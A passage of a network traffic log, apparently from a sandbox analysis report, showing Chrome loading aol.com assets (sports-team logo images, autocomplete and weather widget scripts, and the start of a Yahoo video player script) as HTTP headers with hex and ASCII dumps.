2024-05-23 22:34:47 UTC	1300	IN	Data Raw: 70 6c 65 74 65 2d 69 74 65 6d 22 29 2c 63 2e 73 65 74 41 74 74 72 69 62 75 74 65 28 22 69 64 22 2c 22 77 66 2d 61 75 74 6f 63 6f 6d 70 6c 65 74 65 2d 72 65 73 75 6c 74 2d 22 2b 69 2b 22 2d 22 2b 6c 29 2c 6f 2e 61 70 70 65 6e 64 43 68 69 6c 64 28 63 29 7d 7d 72 65 74 75 72 6e 20 6e 2e 69 6e 6e 65 72 48 54 4d 4c 3d 22 22 2c 6e 2e 61 70 70 65 6e 64 43 68 69 6c 64 28 6f 29 2c 6e 7d 7d 2c 22 2e 2f 73 72 63 2f 74 79 70 65 73 2f 73 70 6f 72 74 73 2d 74 65 61 6d 73 2e 6a 73 22 3a 66 75 6e 63 74 69 6f 6e 28 65 2c 74 2c 73 29 7b 22 75 73 65 20 73 74 72 69 63 74 22 3b 4f 62 6a 65 63 74 2e 64 65 66 69 6e 65 50 72 6f 70 65 72 74 79 28 74 2c 22 5f 5f 65 73 4d 6f 64 75 6c 65 22 2c 7b 76 61 6c 75 65 3a 21 30 7d 29 3b 76 61 72 20 61 3d 77 69 6e 64 6f 77 2e 77 61 66 65 72 Data Ascii: plete-item"),c.setAttribute("id","wf-autocomplete-result-"+i+"-"+l),o.appendChild(c)}}return n.innerHTML="",n.appendChild(o),n}},"./src/types/sports-teams.js":function(e,t,s){"use strict";Object.defineProperty(t,"__esModule",{value:!0});var a=window.wafer
2024-05-23 22:34:47 UTC	27	IN	Data Raw: 44 45 52 22 2c 76 29 2e 72 65 70 6c 61 63 65 28 22 54 45 41 4d 5f 4c 4f 47 4f 5f Data Ascii: DER",v).replace("TEAM_LOGO_
2024-05-23 22:34:47 UTC	1300	IN	Data Raw: 55 52 4c 5f 50 4c 41 43 45 48 4f 4c 44 45 52 22 2c 62 2e 75 72 6c 29 2e 72 65 70 6c 61 63 65 28 22 54 45 41 4d 5f 4e 41 4d 45 5f 50 4c 41 43 45 48 4f 4c 44 45 52 22 2c 68 29 2c 6c 2e 61 70 70 65 6e 64 43 68 69 6c 64 28 79 29 7d 72 65 74 75 72 6e 20 6f 2e 69 6e 6e 65 72 48 54 4d 4c 3d 22 22 2c 6f 2e 61 70 70 65 6e 64 43 68 69 6c 64 28 6c 29 2c 6f 7d 7d 2c 22 2e 2f 73 72 63 2f 74 79 70 65 73 2f 77 65 61 74 68 65 72 2e 6a 73 22 3a 66 75 6e 63 74 69 6f 6e 28 65 2c 74 2c 73 29 7b 22 75 73 65 20 73 74 72 69 63 74 22 3b 4f 62 6a 65 63 74 2e 64 65 66 69 6e 65 50 72 6f 70 65 72 74 79 28 74 2c 22 5f 5f 65 73 4d 6f 64 75 6c 65 22 2c 7b 76 61 6c 75 65 3a 21 30 7d 29 3b 74 2e 67 65 74 4c 69 73 74 4d 61 72 6b 75 70 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 76 61 72 20 65 3d Data Ascii: URL_PLACEHOLDER",b.url).replace("TEAM_NAME_PLACEHOLDER",h),l.appendChild(y)}return o.innerHTML="",o.appendChild(l),o}},"./src/types/weather.js":function(e,t,s){"use strict";Object.defineProperty(t,"__esModule",{value:!0});t.getListMarkup=function(){var e=
2024-05-23 22:34:47 UTC	237	IN	Data Raw: 72 69 62 75 74 65 28 22 64 61 74 61 2d 6d 65 74 61 22 2c 4a 53 4f 4e 2e 73 74 72 69 6e 67 69 66 79 28 65 29 29 2c 66 2e 69 6e 6e 65 72 48 54 4d 4c 3d 76 2c 73 26 26 28 73 2e 69 73 53 61 76 65 64 4c 6f 63 61 74 69 6f 6e 28 68 29 26 26 28 66 2e 63 6c 61 73 73 4c 69 73 74 2e 61 64 64 28 22 77 61 66 65 72 2d 61 75 74 6f 63 6f 6d 70 6c 65 74 65 2d 73 61 76 65 64 2d 69 74 65 6d 22 29 2c 72 26 26 28 66 2e 69 6e 6e 65 72 48 54 4d 4c 2b 3d 72 2e 69 6e 6e 65 72 48 54 4d 4c 29 29 2c 6f 26 26 73 2e 61 64 64 4c 6f 63 61 74 69 6f 6e 28 65 29 29 2c 6c 2e 61 70 70 65 6e 64 43 68 69 6c 64 28 66 29 7d 29 2c 6e 2e 69 6e 6e 65 72 48 54 4d 4c 3d 22 22 2c 6e 2e 61 70 70 65 6e 64 43 68 69 6c 64 28 6c 29 2c 6e 7d 7d 7d 29 3b Data Ascii: ribute("data-meta",JSON.stringify(e)),f.innerHTML=v,s&&(s.isSavedLocation(h)&&(f.classList.add("wafer-autocomplete-saved-item"),r&&(f.innerHTML+=r.innerHTML)),o&&s.addLocation(e)),l.appendChild(f)}),n.innerHTML="",n.appendChild(l),n}}});

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
131	192.168.2.6	49855	192.229.221.24	443	6028	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-23 22:34:47 UTC	929	OUT	GET /images/dims?format=png&quality=100&thumbnail=50%2C50&image_uri=https%3A%2F%2Fs.yimg.com%2Fiu%2Fapi%2Fres%2F1.2%2FkMGV8nhIDPhon8NaaEH84Q--%7EB%2FYXBwaWQ9c2hhcmVkO2ZpPWZpbGw7cT0xMDA7aD01MDt3PTUw%2Fhttps%3A%2F%2Fs.yimg.com%2Fcv%2Fapiv2%2Fdefault%2F20230811%2FMLB%2F500%2Frockies_wbg.png&client=76f99bdb8f78cd44cc0b&signature=da5ae335648275dd00d08fc5f3e80e3c24b0cb45 HTTP/1.1 Host: s.aolcdn.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://www.aol.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-05-23 22:34:47 UTC	1134	IN	HTTP/1.1 200 OK Accept-Ranges: bytes Access-Control-Allow-Headers: X-Requested-With Access-Control-Allow-Origin: * Age: 2500377 Cache-Control: public, max-age=2592000 Cache-Tag: 182273963507800915258564016783015154633,242200644609645780559813349216390262875,ae7a14591aaf8d474cdb3f92111c923e cld_by: cache-lga21976-LGA cld_cache: Miss from cloudfront, HIT cld_hits: 1 cld_latency: 2 Content-Type: image/png Date: Thu, 23 May 2024 22:34:47 GMT Edge-Cache-Tag: 182273963507800915258564016783015154633,242200644609645780559813349216390262875,ae7a14591aaf8d474cdb3f92111c923e Etag: "08aaae7f58d3700d437c7968ada1bc41" Expiration: expiry-date="Fri, 05 Jul 2024 00:00:00 GMT", rule-id="delete fetch for mysterio after 180 days" Last-Modified: Sat, 06 Jan 2024 18:26:58 GMT Server: ECAcc (lhd/35E7) Strict-Transport-Security: max-age=31536000 Surrogate-Reporting: width=50,height=50,bytes=2057,owidth=50,oheight=50,obytes=2054,ef=(1,13,17,23,30) Timing-Allow-Origin: * X-Cache: HIT X-Cache-Hits: 0 X-Served-By: cache-iad-kiad7000043-IAD X-Timer: S1711411311.813140,VS0,VE129 Content-Length: 2057 Connection: close
2024-05-23 22:34:47 UTC	2057	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 32 00 00 00 32 08 03 00 00 00 29 e1 78 83 00 00 03 00 50 4c 54 45 47 70 4c c3 cd d4 c3 cd d4 c3 cc d3 c3 cd d4 c3 cd d4 c4 cc d3 c3 ce d4 84 77 a8 35 08 70 c4 ce d5 c3 cd d4 c3 cd d4 c3 cd d4 c3 cd d4 c3 cd d4 c3 cd d4 c3 cd d4 c3 cd d4 c3 cd d3 c3 cd d4 c3 cd d4 c3 cd d4 c2 cc d3 c3 cd d4 c3 cd d4 c3 cd d4 c3 cd d4 c3 cd d4 c3 cd d4 c2 cc d4 c3 cd d4 c3 cd d4 c3 cd d4 65 4c 92 c1 ca d3 c3 cd d4 c3 cd d4 c3 cd d4 be c6 d1 c3 cd d4 30 00 6d c3 cd d4 c3 cd d4 c3 cd d4 c3 cd d4 c3 cd d4 c3 cd d4 c3 cd d4 c3 cd d4 c3 cd d4 c3 cd d4 c3 cd d4 c3 cd d4 c3 cd d4 c3 cd d4 c3 cd d4 c3 cd d4 32 01 6e c3 cd d4 c3 cd d4 c3 cd d4 c3 cd d4 b3 b7 c9 ae b1 c5 c3 cd d4 c3 cd d4 c3 cd d4 bb c2 cf c3 cd d4 c3 cd d4 4e Data Ascii: PNGIHDR22)xPLTEGpLw5peL0m2nN

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
132	192.168.2.6	49858	192.229.221.24	443	6028	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-23 22:34:47 UTC	936	OUT	GET /images/dims?format=png&quality=100&thumbnail=50%2C50&image_uri=https%3A%2F%2Fs.yimg.com%2Fiu%2Fapi%2Fres%2F1.2%2Fd.AWj8FuN2V4xyoJwzDPGQ--%7EB%2FYXBwaWQ9c2hhcmVkO2ZpPWZpbGw7cT0xMDA7aD01MDt3PTUw%2Fhttps%3A%2F%2Fs.yimg.com%2Fcv%2Fapiv2%2Fdefault%2Fmlb%2F20190319%2F500x500%2Foakland_a_wbgs.png&client=76f99bdb8f78cd44cc0b&signature=1e4049ff055d73d3c2d44d2d8fbe52423c466b52 HTTP/1.1 Host: s.aolcdn.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://www.aol.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-05-23 22:34:47 UTC	1136	IN	HTTP/1.1 200 OK Accept-Ranges: bytes Access-Control-Allow-Headers: X-Requested-With Access-Control-Allow-Origin: * Age: 2516468 Cache-Control: public, max-age=2592000 Cache-Tag: 334489708646080945314221290088747207936,242200644609645780559813349216390262875,ae7a14591aaf8d474cdb3f92111c923e cld_by: cache-lga21925-LGA cld_cache: Miss from cloudfront, MISS cld_hits: 0 cld_latency: 183 Content-Type: image/png Date: Thu, 23 May 2024 22:34:47 GMT Edge-Cache-Tag: 334489708646080945314221290088747207936,242200644609645780559813349216390262875,ae7a14591aaf8d474cdb3f92111c923e Etag: "5784d8dc6f4454c37ee40fd0f16dd30b" Expiration: expiry-date="Sun, 01 Sep 2024 00:00:00 GMT", rule-id="delete fetch for mysterio after 180 days" Last-Modified: Mon, 04 Mar 2024 14:29:44 GMT Server: ECAcc (lhd/35DA) Strict-Transport-Security: max-age=31536000 Surrogate-Reporting: width=50,height=50,bytes=1993,owidth=50,oheight=50,obytes=2270,ef=(1,13,17,23,30) Timing-Allow-Origin: * X-Cache: HIT X-Cache-Hits: 0 X-Served-By: cache-iad-kiad7000078-IAD X-Timer: S1711395220.749142,VS0,VE91 Content-Length: 1993 Connection: close
2024-05-23 22:34:47 UTC	1993	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 32 00 00 00 32 08 03 00 00 00 29 e1 78 83 00 00 03 00 50 4c 54 45 47 70 4c ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff fa fb fb ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff 01 5b 4e f0 f3 f3 ff ff ff ff ff ff ff ff ff e6 ec eb ff ff ff f3 f6 f6 f5 f7 f7 ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff fd fe fd ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ed f1 f1 ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff f1 f4 f4 ff ff ff ff ff ff ff ff ff ff Data Ascii: PNGIHDR22)xPLTEGpL[N

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
133	192.168.2.6	49854	192.229.221.24	443	6028	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-23 22:34:47 UTC	933	OUT	GET /images/dims?format=png&quality=100&thumbnail=50%2C50&image_uri=https%3A%2F%2Fs.yimg.com%2Fiu%2Fapi%2Fres%2F1.2%2F_f.0rX.8xWRSA.z3Dpizcw--%7EB%2FYXBwaWQ9c2hhcmVkO2ZpPWZpbGw7cT0xMDA7aD01MDt3PTUw%2Fhttps%3A%2F%2Fs.yimg.com%2Fcv%2Fapiv2%2Fdefault%2Fmlb%2F20200508%2F500x500%2Fpadres_wbgs.png&client=76f99bdb8f78cd44cc0b&signature=7a024194b9142763655abfd6ed1e3e4f6495bf83 HTTP/1.1 Host: s.aolcdn.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://www.aol.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-05-23 22:34:47 UTC	1139	IN	HTTP/1.1 200 OK Accept-Ranges: bytes Access-Control-Allow-Headers: X-Requested-With Access-Control-Allow-Origin: * Age: 2500365 Cache-Control: public, max-age=2592000 Cache-Tag: 417403057124882857595573738733836043981,242200644609645780559813349216390262875,ae7a14591aaf8d474cdb3f92111c923e cld_by: cache-iad-kjyo7100137-IAD cld_cache: Miss from cloudfront, HIT cld_hits: 1 cld_latency: 2 Content-Type: image/png Date: Thu, 23 May 2024 22:34:47 GMT Edge-Cache-Tag: 417403057124882857595573738733836043981,242200644609645780559813349216390262875,ae7a14591aaf8d474cdb3f92111c923e Etag: "bb47702e4af53a43492a844fe98f5ba8" Expiration: expiry-date="Tue, 10 Sep 2024 00:00:00 GMT", rule-id="delete fetch for mysterio after 180 days" Last-Modified: Wed, 13 Mar 2024 18:59:12 GMT Server: ECAcc (lhd/35F1) Strict-Transport-Security: max-age=31536000 Surrogate-Reporting: width=50,height=50,bytes=1560,owidth=50,oheight=50,obytes=1608,ef=(1,13,17,23,30) Timing-Allow-Origin: * X-Cache: HIT X-Cache-Hits: 1 X-Served-By: cache-iad-kiad7000043-IAD X-Timer: S1711411322.463115,VS0,VE2 Content-Length: 1560 Connection: close
2024-05-23 22:34:47 UTC	1560	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 32 00 00 00 32 08 03 00 00 00 29 e1 78 83 00 00 02 cd 50 4c 54 45 47 70 4c ff ff ff ff ff ff ff ff ff ff ff ff ff fc f4 ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff fa ed ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff fc f5 ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff fe fc ff fb ef ff ff ff ff ff ff ff ff ff ff fb f0 ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff f7 e0 ff fb f0 ff ff ff ff fd f8 ff fa ec ff ff ff ff fc f2 ff ff ff ff ff ff ff f8 e5 ff ff ff ff ff ff ff ff ff ff ff ff ff Data Ascii: PNGIHDR22)xPLTEGpL

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
134	192.168.2.6	49856	192.229.221.24	443	6028	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-23 22:34:47 UTC	942	OUT	GET /images/dims?format=png&quality=100&thumbnail=50%2C50&image_uri=https%3A%2F%2Fs.yimg.com%2Fiu%2Fapi%2Fres%2F1.2%2FsQqawBV36sXqpGuGwXrDbw--%7EB%2FYXBwaWQ9c2hhcmVkO2ZpPWZpbGw7cT0xMDA7aD01MDt3PTUw%2Fhttps%3A%2F%2Fs.yimg.com%2Fcv%2Fapiv2%2Fdefault%2Fmlb%2F20190319%2F500x500%2Fcincinnati_reds_wbgs.png&client=76f99bdb8f78cd44cc0b&signature=c3d45d0ff820b44e19dcc56cec51d222b1fbf9da HTTP/1.1 Host: s.aolcdn.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://www.aol.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-05-23 22:34:47 UTC	1132	IN	HTTP/1.1 200 OK Accept-Ranges: bytes Access-Control-Allow-Headers: X-Requested-With Access-Control-Allow-Origin: * Age: 2500377 Cache-Control: public, max-age=2592000 Cache-Tag: 213877885089736154285922381954877283479,242200644609645780559813349216390262875,ae7a14591aaf8d474cdb3f92111c923e cld_by: cache-lga21976-LGA cld_cache: Miss from cloudfront, HIT cld_hits: 1 cld_latency: 1 Content-Type: image/png Date: Thu, 23 May 2024 22:34:47 GMT Edge-Cache-Tag: 213877885089736154285922381954877283479,242200644609645780559813349216390262875,ae7a14591aaf8d474cdb3f92111c923e Etag: "5c1d315a44448b88a224555905737edf" Expiration: expiry-date="Sun, 28 Jul 2024 00:00:00 GMT", rule-id="delete fetch for mysterio after 180 days" Last-Modified: Mon, 29 Jan 2024 00:30:30 GMT Server: ECAcc (lhd/35FD) Strict-Transport-Security: max-age=31536000 Surrogate-Reporting: width=50,height=50,bytes=1719,owidth=50,oheight=50,obytes=1901,ef=(1,13,17,23,30) Timing-Allow-Origin: * X-Cache: HIT X-Cache-Hits: 1 X-Served-By: cache-iad-kiad7000074-IAD X-Timer: S1711411311.829075,VS0,VE2 Content-Length: 1719 Connection: close
2024-05-23 22:34:47 UTC	1719	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 32 00 00 00 32 08 03 00 00 00 29 e1 78 83 00 00 03 00 50 4c 54 45 47 70 4c ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff f2 f2 f2 f6 f6 f6 ff ff ff ff ff ff fb ec ee ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff fe fe fe ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff 52 52 52 fb fb fb ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff fa e7 ea ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff f9 e6 e9 ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff fe fe ff ff ff fd fd fd ff ff ff ff ff ff fc f4 f5 ff ff ff ff ff ff ff Data Ascii: PNGIHDR22)xPLTEGpLRRR

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
135	192.168.2.6	49861	87.248.119.251	443	6028	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-23 22:34:47 UTC	527	OUT	GET /rx/ev/prod/evplayer.js HTTP/1.1 Host: s.yimg.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://www.aol.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-05-23 22:34:47 UTC	824	IN	HTTP/1.1 200 OK x-amz-id-2: w78p9m7VM/zQ55vlncUwcNhkaFEOMwDXbuN7inYy40q05HbAgLorU40Kxoe+/gXabB39IFS75iA= x-amz-request-id: SGQ9HPFTY3WFZNQ4 Date: Thu, 23 May 2024 22:25:02 GMT Last-Modified: Thu, 23 May 2024 17:16:29 GMT x-amz-server-side-encryption: AES256 Cache-Control: public,max-age=600 x-amz-version-id: vK4WILS8T1Ysm8ZgNXN2uAY4LfLo5.CH Accept-Ranges: bytes Content-Type: application/javascript Server: ATS Content-Length: 275839 Referrer-Policy: no-referrer-when-downgrade Vary: Origin Etag: "91ec6c93eab61e4e45d3e12177c475fd" Age: 586 ATS-Carp-Promotion: 1 Connection: close Strict-Transport-Security: max-age=31536000 Expect-CT: max-age=31536000, report-uri="http://csp.yahoo.com/beacon/csp?src=yahoocom-expect-ct-report-only" X-XSS-Protection: 1; mode=block X-Content-Type-Options: nosniff
2024-05-23 22:34:47 UTC	1300	IN	Data Raw: 2f 2a 21 20 46 6f 72 20 6c 69 63 65 6e 73 65 20 69 6e 66 6f 72 6d 61 74 69 6f 6e 20 70 6c 65 61 73 65 20 73 65 65 20 65 76 70 6c 61 79 65 72 2e 6a 73 2e 4c 49 43 45 4e 53 45 2e 74 78 74 20 2a 2f 0a 28 28 29 3d 3e 7b 76 61 72 20 74 3d 7b 31 35 35 36 3a 66 75 6e 63 74 69 6f 6e 28 74 2c 65 29 7b 22 75 73 65 20 73 74 72 69 63 74 22 3b 76 61 72 20 69 3d 74 68 69 73 26 26 74 68 69 73 2e 5f 5f 73 70 72 65 61 64 41 72 72 61 79 73 7c 7c 66 75 6e 63 74 69 6f 6e 28 29 7b 66 6f 72 28 76 61 72 20 74 3d 30 2c 65 3d 30 2c 69 3d 61 72 67 75 6d 65 6e 74 73 2e 6c 65 6e 67 74 68 3b 65 3c 69 3b 65 2b 2b 29 74 2b 3d 61 72 67 75 6d 65 6e 74 73 5b 65 5d 2e 6c 65 6e 67 74 68 3b 76 61 72 20 73 3d 41 72 72 61 79 28 74 29 2c 6e 3d 30 3b 66 6f 72 28 65 3d 30 3b 65 3c 69 3b 65 2b 2b Data Ascii: /! For license information please see evplayer.js.LICENSE.txt /(()=>{var t={1556:function(t,e){"use strict";var i=this&&this.__spreadArrays\|\|function(){for(var t=0,e=0,i=arguments.length;e<i;e++)t+=arguments[e].length;var s=Array(t),n=0;for(e=0;e<i;e++
2024-05-23 22:34:47 UTC	1300	IN	Data Raw: 7b 66 6f 72 28 76 61 72 20 72 3d 5b 5d 2c 6f 3d 30 3b 6f 3c 61 72 67 75 6d 65 6e 74 73 2e 6c 65 6e 67 74 68 3b 6f 2b 2b 29 72 5b 6f 5d 3d 61 72 67 75 6d 65 6e 74 73 5b 6f 5d 3b 65 2e 61 70 70 6c 79 28 69 2c 41 72 72 61 79 2e 70 72 6f 74 6f 74 79 70 65 2e 73 6c 69 63 65 2e 63 61 6c 6c 28 72 2c 30 29 29 2c 73 2e 72 65 6d 6f 76 65 45 76 65 6e 74 4c 69 73 74 65 6e 65 72 28 74 2c 6e 29 7d 29 2c 74 68 69 73 29 3b 72 65 74 75 72 6e 20 6e 7d 2c 74 2e 70 72 6f 74 6f 74 79 70 65 2e 70 75 62 6c 69 73 68 3d 66 75 6e 63 74 69 6f 6e 28 74 29 7b 66 6f 72 28 76 61 72 20 65 3d 5b 5d 2c 69 3d 31 3b 69 3c 61 72 67 75 6d 65 6e 74 73 2e 6c 65 6e 67 74 68 3b 69 2b 2b 29 65 5b 69 2d 31 5d 3d 61 72 67 75 6d 65 6e 74 73 5b 69 5d 3b 69 66 28 74 68 69 73 2e 6c 29 7b 69 66 28 74 20 Data Ascii: {for(var r=[],o=0;o<arguments.length;o++)r[o]=arguments[o];e.apply(i,Array.prototype.slice.call(r,0)),s.removeEventListener(t,n)}),this);return n},t.prototype.publish=function(t){for(var e=[],i=1;i<arguments.length;i++)e[i-1]=arguments[i];if(this.l){if(t
2024-05-23 22:34:47 UTC	1300	IN	Data Raw: 29 26 26 6f 28 29 7d 7d 7d 2c 38 33 31 34 3a 28 74 2c 65 2c 69 29 3d 3e 7b 22 75 73 65 20 73 74 72 69 63 74 22 3b 76 61 72 20 73 3d 22 75 6e 64 65 66 69 6e 65 64 22 21 3d 74 79 70 65 6f 66 20 77 69 6e 64 6f 77 3f 77 69 6e 64 6f 77 3a 76 6f 69 64 20 30 21 3d 3d 69 2e 67 26 26 69 2e 67 2e 77 69 6e 64 6f 77 3f 69 2e 67 2e 77 69 6e 64 6f 77 3a 7b 7d 2c 6e 3d 73 2e 6e 61 76 69 67 61 74 6f 72 3f 73 2e 6e 61 76 69 67 61 74 6f 72 3a 22 75 6e 64 65 66 69 6e 65 64 22 21 3d 74 79 70 65 6f 66 20 6e 61 76 69 67 61 74 6f 72 3f 6e 61 76 69 67 61 74 6f 72 3a 7b 7d 2c 72 3d 6e 2e 75 73 65 72 41 67 65 6e 74 3f 6e 2e 75 73 65 72 41 67 65 6e 74 2e 74 6f 4c 6f 77 65 72 43 61 73 65 28 29 2e 72 65 70 6c 61 63 65 28 2f 3c 5b 41 2d 5a 61 2d 7a 5d 2b 2e 2a 3f 28 5c 2f 3e 7c 3e 2e Data Ascii: )&&o()}}},8314:(t,e,i)=>{"use strict";var s="undefined"!=typeof window?window:void 0!==i.g&&i.g.window?i.g.window:{},n=s.navigator?s.navigator:"undefined"!=typeof navigator?navigator:{},r=n.userAgent?n.userAgent.toLowerCase().replace(/<[A-Za-z]+.*?(\/>\|>.
2024-05-23 22:34:47 UTC	1215	IN	Data Raw: 2a 29 2f 2e 65 78 65 63 28 72 29 29 7c 7c 75 28 2f 74 72 69 64 65 6e 74 2e 2a 3b 20 72 76 3a 28 5b 30 2d 39 2e 5d 2b 29 2f 2e 65 78 65 63 28 72 29 29 2c 65 2e 66 69 72 65 66 6f 78 3d 21 65 2e 69 65 26 26 75 28 2f 66 69 72 65 66 6f 78 5c 2f 28 5b 5e 5c 73 5d 2a 29 2f 2e 65 78 65 63 28 72 29 29 2c 65 2e 61 6e 64 72 6f 69 64 3d 6c 28 22 61 6e 64 72 6f 69 64 22 29 7c 7c 2f 61 6e 64 72 6f 69 64 2f 2e 74 65 73 74 28 72 29 2c 65 2e 61 6e 64 72 6f 69 64 54 61 62 6c 65 74 3d 65 2e 61 6e 64 72 6f 69 64 26 26 21 2f 6d 6f 62 69 6c 65 2f 2e 74 65 73 74 28 72 29 2c 65 2e 68 74 63 5f 6f 6e 65 3d 2f 68 74 63 5f 6f 6e 65 2f 2e 74 65 73 74 28 72 29 2c 65 2e 76 69 7a 69 6f 3d 2f 76 69 7a 69 6f 2f 2e 74 65 73 74 28 72 29 7c 7c 22 76 69 7a 69 6f 22 3d 3d 3d 68 28 22 6d 61 6e Data Ascii: )/.exec(r))\|\|u(/trident.; rv:([0-9.]+)/.exec(r)),e.firefox=!e.ie&&u(/firefox\/([^\s]*)/.exec(r)),e.android=l("android")\|\|/android/.test(r),e.androidTablet=e.android&&!/mobile/.test(r),e.htc_one=/htc_one/.test(r),e.vizio=/vizio/.test(r)\|\|"vizio"===h("man
2024-05-23 22:34:47 UTC	1300	IN	Data Raw: 65 2e 74 69 76 6f 7c 7c 65 2e 61 6d 61 7a 6f 6e 7c 7c 65 2e 73 61 6d 73 75 6e 67 7c 7c 65 2e 73 6f 6e 79 7c 7c 65 2e 70 6c 61 79 73 74 61 74 69 6f 6e 7c 7c 65 2e 6c 67 7c 7c 65 2e 66 69 6f 73 7c 7c 65 2e 70 68 69 6c 69 70 73 7c 7c 65 2e 74 6f 73 68 69 62 61 2c 65 2e 64 65 73 6b 74 6f 70 3d 21 65 2e 6d 6f 62 69 6c 65 26 26 21 65 2e 74 76 2c 65 2e 70 68 61 6e 74 6f 6d 4a 53 3d 73 2e 77 69 6e 64 6f 77 26 26 73 2e 77 69 6e 64 6f 77 2e 52 2c 65 2e 74 76 29 7b 76 61 72 20 63 3d 76 6f 69 64 20 30 21 3d 3d 63 3f 63 3a 76 6f 69 64 20 30 21 3d 3d 69 2e 67 26 26 69 2e 67 2e 74 76 3f 69 2e 67 2e 74 76 3a 7b 7d 3b 69 66 28 65 2e 63 6c 61 73 73 3d 65 2e 75 61 2c 65 2e 76 69 7a 69 6f 29 65 2e 6f 73 3d 22 76 69 7a 69 6f 22 2c 65 2e 63 6c 61 73 73 3d 